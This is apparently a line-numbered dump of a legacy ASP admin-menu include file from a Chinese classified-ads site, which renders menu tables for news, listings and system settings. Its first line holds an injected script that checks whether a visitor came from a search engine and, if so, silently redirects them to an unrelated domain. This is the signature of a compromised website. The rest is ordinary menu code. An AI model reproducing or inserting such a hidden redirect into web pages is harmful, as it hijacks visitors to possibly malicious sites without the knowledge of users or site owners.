d:\wwwroot\wuchunhua\cityadmin\dir.inc.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<%
002:
'//预定义
003:
dim menu(3,6),j,tmpmenu,menuname,menurl
004:
005:
menu(0,0)="新闻管理"
006:
menu(0,1)="<a href=addad_news.asp target=mainFrame>发布新闻</a> | <a href=list_news.asp target=mainFrame>管理新闻</a>"
007:
008:
menu(1,0)="信息管理"
009:
menu(1,1)="<a href=addad.asp target=mainFrame>发布信息</a> | <a href=nopass.asp target=mainFrame>未审信息</a>"
010:
menu(1,2)="<a href=list.asp target=mainFrame>全部信息</a> | <a href=shouye.asp target=mainFrame>首页显示</a>"
011:
menu(1,3)="<a href=fufeiad.asp target=mainFrame>付费信息</a> | <a href=gudingad.asp target=mainFrame>固顶信息</a>"
012:
menu(1,4)="<a href=hot.asp target=mainFrame>热点信息</a> | <a href=shixiaoad.asp target=mainFrame>过期信息</a>"
013:
014:
menu(2,0)="系统管理"
015:
menu(2,1)="<a href=pass.asp target=mainFrame>超级用户</a>"
016:
017:
menu(3,0)="版权信息"
018:
menu(3,1)="<font face=Arial, Helvetica, sans-serif><b>当前版本：</font></b>V4.4 Access"
019:
menu(3,2)="<font face=Arial, Helvetica, sans-serif><b>copy：</font></b>中国分类信息网"
020:
menu(3,3)="<a href=http://www.6900.net target=_blank><font face=Arial, Helvetica, sans-serif><b>海洋城市设计工作室</b></font></a>"
021:
022:
sub showMenu()
023:
dim menuStr
024:
for i=0 to ubound(menu,1)
025:
menuStr = "<br><table cellpadding=0 cellspacing=0 width=158>"&_
026:
"<tr>"&_
027:
"<td height=25 class=menu_title onmouseover='this.className=""menu_title2""' onmouseout='this.className=""menu_title"";' background=images/admin_left_"&(i+1)&".gif id=menuTitle1 onclick=showsubmenu("&i&")>"&_
028:
"<span>"&menu(i,0)&"</span>"&_
029:
"</td>"&_
030:
"</tr>"&_
031:
"<tr>"&_
032:
"<td style='display:' id='submenu"&i&"'>"&_
033:
"<div class=sec_menu style='width:158'>"&_
034:
"<table cellpadding=0 cellspacing=0 align=center width=135 ID=Table1>"
035:
036:
for j=1 to ubound(menu,2)
037:
if isempty(menu(i,j)) then exit for
038:
menuStr = menuStr&"<tr><td height=20>"&menu(i,j)&"</td></tr>"
039:
next
040:
041:
menuStr = menuStr&"</table>"&_
042:
"</div>"&_
043:
"</td>"&_
044:
"</tr>"&_
045:
"</table>"
046:
047:
Response.Write menuStr
048:
next
049:
end sub
050:
%
>
051:
052: